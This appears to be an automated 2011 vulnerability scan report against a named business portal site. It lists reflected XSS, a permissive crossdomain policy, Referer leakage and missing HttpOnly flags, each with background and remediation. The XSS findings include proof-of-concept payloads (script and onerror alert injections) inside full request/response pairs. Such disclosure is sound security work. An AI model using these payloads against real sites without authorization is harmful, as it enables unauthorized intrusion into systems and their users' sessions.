Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5a9b0<script>alert(1)</script>002f1c5bc5f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CAddress%20Book%20Lookup%5C%5CYN206x400147109f75ba.GetObjectListDataAsJSON5a9b0<script>alert(1)</script>002f1c5bc5f?aDataTypeList=Business%2CAddress%2CPhoneNumber%2CCity%2CStateOrProvince%2CPostalCode%2CGeoCoords%2CLatitude%2CLongitude%2CAddressLine1%2CAddressLine2%2CState%2CZipcode%2CDisplayName%2CFormatted%20Name%2CBusiness%20address%20line%201%2CBusiness%20address%20city%2CBusiness%20address%20state%2CBusiness%20address%20zip%20code%2CBusiness%20address%20latitude%2CBusiness%20address%20longitude&aUse=Node&aCountSubNodes=Y HTTP/1.1 Host: www.bingbusinessportal.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive x-LiveRequest: Y Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553
Response
HTTP/1.0 404 Not Found Content-Length: 188 Date: Sat, 27 Aug 2011 17:34:38 GMT Content-Type: text/html; charset=UTF-8 X-LCRequestID: LAMWeb3-Bing-Realtime-1_20110827123438499_4816_1070885,BingCache2-Realtime-1_20110827173438499_4280_1 X-LCCacheResult: C=N;S=N;T=28 Server: LiveObjectWebServer/5.5 (rv=1.09) P3P: CP="NOI DSP LAW NID PSA ADM OUR" Expires: Mon, 1 Jan 2001 01:00:00 GMT
<h1>Item not Found: node:[application]\\structure\\content\\livelookups\\address book lookup\\yn206x400147109f75ba.getobjectlistdataasjson5a9b0<script>alert(1)</script>002f1c5bc5f</h1>
The value of the aUse request parameter is copied into the HTML document as plain text between tags. The payload 746d4<img%20src%3da%20onerror%3dalert(1)>08e25d19d82 was submitted in the aUse parameter. This input was echoed as 746d4<img src=a onerror=alert(1)>08e25d19d82 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CLocal%20Businesses.GetObjectListDataAsJSON?aDataTypeList=DisplayName&aUse=LiveLookup746d4<img%20src%3da%20onerror%3dalert(1)>08e25d19d82&aCountSubNodes=Y&aSourceFilter=JSON%3A%5B%7B%22DataType%22%3A%22YPID%22%2C%22Condition%22%3A%22Equal%20To%22%2C%22Value%22%3A%5B%7B%22Text%22%3A%22YN206x400147109f75ba%22%7D%5D%7D%5D HTTP/1.1 Host: www.bingbusinessportal.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive x-LiveRequest: Y Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553
Response
HTTP/1.0 200 OK Content-Length: 191 Date: Sat, 27 Aug 2011 17:34:37 GMT Content-Type: application/json; charset=UTF-8 X-LCRequestID: LAMWeb4-Bing-RealTime-1_20110827123437030_1332_1020150,BingCache1-Realtime-1_20110827173437030_1896_1 X-LCCacheResult: C=N;S=N;T=27 Server: LiveObjectWebServer/5.5 (rv=1.09) P3P: CP="NOI DSP LAW NID PSA ADM OUR" Expires: Sat, 27 Aug 2011 17:34:38 GMT Last-Modified: Sat, 27 Aug 2011 17:34:37 GMT Cache-Control: max-age=0,s-max-age=0,public
{"Error":true,"ErrorCode":"GENER0001","Message":"Bad Use Value: LiveLookup746d4<img src=a onerror=alert(1)>08e25d19d82","RequestID":"LAMWeb4-Bing-RealTime-1_20110827123437030_1332_1020150"}
The value of the aUse request parameter is copied into the HTML document as plain text between tags. The payload 1f12d<img%20src%3da%20onerror%3dalert(1)>b9db6845c4 was submitted in the aUse parameter. This input was echoed as 1f12d<img src=a onerror=alert(1)>b9db6845c4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /Node:%5Bsystem%5D.GetObjectListDataAsJSON?aDataTypeList=PrimaryDomain&aUse=Node1f12d<img%20src%3da%20onerror%3dalert(1)>b9db6845c4&aCountSubNodes=Y HTTP/1.1 Host: www.bingbusinessportal.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive x-LiveRequest: Y Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553
Response
HTTP/1.0 200 OK Content-Length: 183 Date: Sat, 27 Aug 2011 17:35:56 GMT Content-Type: application/json; charset=UTF-8 X-LCRequestID: LAMWeb4-Bing-RealTime-1_20110827123556077_760_1020258,BingCache1-Realtime-1_20110827173556077_5564_1 X-LCCacheResult: C=N;S=N;T=25 Server: LiveObjectWebServer/5.5 (rv=1.09) P3P: CP="NOI DSP LAW NID PSA ADM OUR" Expires: Sat, 27 Aug 2011 17:35:57 GMT Last-Modified: Wed, 24 Aug 2011 22:23:09 GMT Cache-Control: max-age=0,s-max-age=0,public
{"Error":true,"ErrorCode":"GENER0001","Message":"Bad Use Value: Node1f12d<img src=a onerror=alert(1)>b9db6845c4","RequestID":"LAMWeb4-Bing-RealTime-1_20110827123556077_760_1020258"}
The value of the id request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f75ba"%3balert(1)//35b94a2a553 was submitted in the id parameter. This input was echoed as f75ba";alert(1)//35b94a2a553 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /default.aspx?op=edit&id=YN206x400147109f75ba"%3balert(1)//35b94a2a553 HTTP/1.1 Host: www.bingbusinessportal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Content-Length: 12445 Date: Sat, 27 Aug 2011 17:33:18 GMT Content-Type: text/html; charset=UTF-8 X-LCRequestID: LAMWeb3-Bing-Realtime-1_20110827123318046_4816_1070694,BingCache1-Realtime-1_20110827173318030_4552_1 X-LCCacheResult: C=N;S=N;T=47 Server: LiveObjectWebServer/5.5 (rv=1.09) P3P: CP="NOI DSP LAW NID PSA ADM OUR" Expires: Mon, 1 Jan 2001 01:00:00 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us" xml:lang="en-us" xmlns="http://www.w3.org/1999/xhtml">
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Issue background
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.bingbusinessportal.com
Response
HTTP/1.0 200 OK Content-Length: 321 Date: Sat, 27 Aug 2011 17:33:13 GMT Content-Type: text/xml; charset=UTF-8 X-LCRequestID: LAMWeb3-Bing-Realtime-1_20110826222744515_2476_1033376,BingCache1-Realtime-1_20110827173313140_688_1 X-LCCacheResult: C=N;S=Y;T=0 Server: LiveObjectWebServer/5.5 (rv=1.09) P3P: CP="NOI DSP LAW NID PSA ADM OUR" Expires: Fri, 22 Jun 2012 03:27:44 GMT Last-Modified: Sat, 27 Aug 2011 03:27:44 GMT Cache-Control: max-age=25920000,s-max-age=25920000,public
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /default.aspx?op=edit&id=YN206x400147109 HTTP/1.1 Host: www.bingbusinessportal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Content-Length: 12417 Date: Sat, 27 Aug 2011 17:33:12 GMT Content-Type: text/html; charset=UTF-8 X-LCRequestID: LAMWeb4-Bing-RealTime-1_20110827123312905_3904_1019965,BingCache2-Realtime-1_20110827173312905_3664_1 X-LCCacheResult: C=N;S=N;T=57 Server: LiveObjectWebServer/5.5 (rv=1.09) P3P: CP="NOI DSP LAW NID PSA ADM OUR" Expires: Mon, 1 Jan 2001 01:00:00 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us" xml:lang="en-us" xmlns="http://www.w3.org/1999/xhtml">
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /default.aspx HTTP/1.1 Host: www.bingbusinessportal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Content-Length: 12365 Date: Sat, 27 Aug 2011 17:33:12 GMT Content-Type: text/html; charset=UTF-8 X-LCRequestID: LAMWeb4-Bing-RealTime-1_20110827123312515_3904_1019964,BingCache1-Realtime-1_20110827173312515_1224_1 X-LCCacheResult: C=N;S=N;T=55 Server: LiveObjectWebServer/5.5 (rv=1.09) P3P: CP="NOI DSP LAW NID PSA ADM OUR" Expires: Mon, 1 Jan 2001 01:00:00 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us" xml:lang="en-us" xmlns="http://www.w3.org/1999/xhtml">
The following cookies were issued by the application and do not have the HttpOnly flag set:
l.a.s=%3F592816214%3D1; Path=/l.a/;
l.a.p=%3F592816214%3D40782.7322947338; Path=/l.a/; expires=Tue, 24 Aug 2021 17:34:30 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /l.a/cnt/1314466498809?cid=592816214&u=_CONTENT%3D%5BApplication%5D%5C%5CStructure%5C%5COrganization%5C%5CEntities%5C%5CPublic%20Entity%5C%5CPublic%20Token%20User%7B%7BForm%3AClaim%7D%7D%26selected%20ypid%3DYN206x400147109f75ba&ru=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&sr=1920x1200&bt=Other&bv=3 HTTP/1.1 Host: www.bingbusinessportal.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553
Response
HTTP/1.0 204 No Content Server: LiveCache/2.4a Date: Sat, 27 Aug 2011 17:34:30 GMT Content-Type: text/plain X-LSRequestID: BingCache2-Realtime-1_20110827173430265_4364_1 Content-Length: 0 Set-Cookie: l.a.s=%3F592816214%3D1; Path=/l.a/; Set-Cookie: l.a.p=%3F592816214%3D40782.7322947338; Path=/l.a/; expires=Tue, 24 Aug 2021 17:34:30 GMT P3P: CP="ADM OUR IND NOI DSP COR COM NAV" Connection: close
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: www.bingbusinessportal.com
Response
HTTP/1.0 200 OK Content-Length: 28 Date: Sat, 27 Aug 2011 17:33:13 GMT Content-Type: text/plain; charset=UTF-8 X-LCRequestID: LAMWeb3-Bing-Realtime-1_20110827123313483_4816_1070683,BingCache2-Realtime-1_20110827173313483_4536_1 X-LCCacheResult: C=N;S=N;T=20 Server: LiveObjectWebServer/5.5 (rv=1.09) P3P: CP="NOI DSP LAW NID PSA ADM OUR" Expires: Sun, 28 Aug 2011 17:33:13 GMT Last-Modified: Sat, 27 Aug 2011 17:33:13 GMT Cache-Control: max-age=86400,s-max-age=86400,public
User-agent: * Disallow: /
7. Content type incorrectly statedprevious There are 4 instances of this issue:
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
The response contains the following Content-type statement:
Content-Type: application/json; charset=UTF-8
The response states that it contains JSON. However, it actually appears to contain plain text.
Request
GET /Node:%5Bsystem%5D.GetObjectListDataAsJSON?aDataTypeList=PrimaryDomain&aUse=Node&aCountSubNodes=Y HTTP/1.1 Host: www.bingbusinessportal.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive x-LiveRequest: Y Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553
Response
HTTP/1.0 200 OK Content-Length: 503 Date: Sat, 27 Aug 2011 17:35:51 GMT Content-Type: application/json; charset=UTF-8 X-LCRequestID: LAMWeb3-Bing-Realtime-1_20110826232738453_4816_1036944,BingCache1-Realtime-1_20110827173551546_1620_1 X-LCCacheResult: C=N;S=Y;T=13 Server: LiveObjectWebServer/5.5 (rv=1.09) P3P: CP="NOI DSP LAW NID PSA ADM OUR" Expires: Sat, 27 Aug 2011 17:35:52 GMT Last-Modified: Wed, 24 Aug 2011 22:23:09 GMT Age: 0 Cache-Control: max-age=0,s-max-age=0,public
[{"__TOTALITEMS__":1,"DisplayName":"Bing Business Portal","HierarchyPosition":"BINGL000020000200007","Id":"592816214","LevelNumber":4,"NamePath":"[Application]\\\\Internal Hierarchy\\\\Interfaces\\\\B ...[SNIP]...
The response contains the following Content-type statement:
Content-Type: text/html; charset=UTF-8
The response states that it contains HTML. However, it actually appears to contain JSON.
Request
GET /Node:BINGL0000100001000080000700003.GetTabsV2AsJSON?aDataTypeList=LocalizedText&aTabNameList=Claim HTTP/1.1 Host: www.bingbusinessportal.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive x-LiveRequest: Y Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553
Response
HTTP/1.0 200 OK Content-Length: 1536 X-LCUnCompressedSize: 1536 Date: Sat, 27 Aug 2011 17:34:31 GMT Content-Type: text/html; charset=UTF-8 X-LCRequestID: LAMWeb4-Bing-RealTime-1_20110827114922031_1332_1015141,BingCache2-Realtime-1_20110827173431483_4364_1 X-LCCacheResult: C=N;S=Y;T=0 X-LSCacheExpires: Sat, 27 Aug 2011 19:49:22 GMT Server: LiveObjectWebServer/5.5 (rv=1.09) P3P: CP="NOI DSP LAW NID PSA ADM OUR" Expires: Sat, 27 Aug 2011 18:34:30 GMT Last-Modified: Sat, 27 Aug 2011 16:49:22 GMT Cache-Control: max-age=3599,s-max-age=3599,public
[{"DisplayName":"Claim","DisplayValue":"Claim","Enabled":"Y","HierarchyPosition":"BINGL0000100001000080000700003::~~Tab~~((Claim))","Id":"Claim","IsOnObject":false,"ItemAlias":"Tab_Claim","Layout Type ...[SNIP]...
Report generated by XSS.CX at Sat Aug 27 11:44:36 GMT-06:00 2011.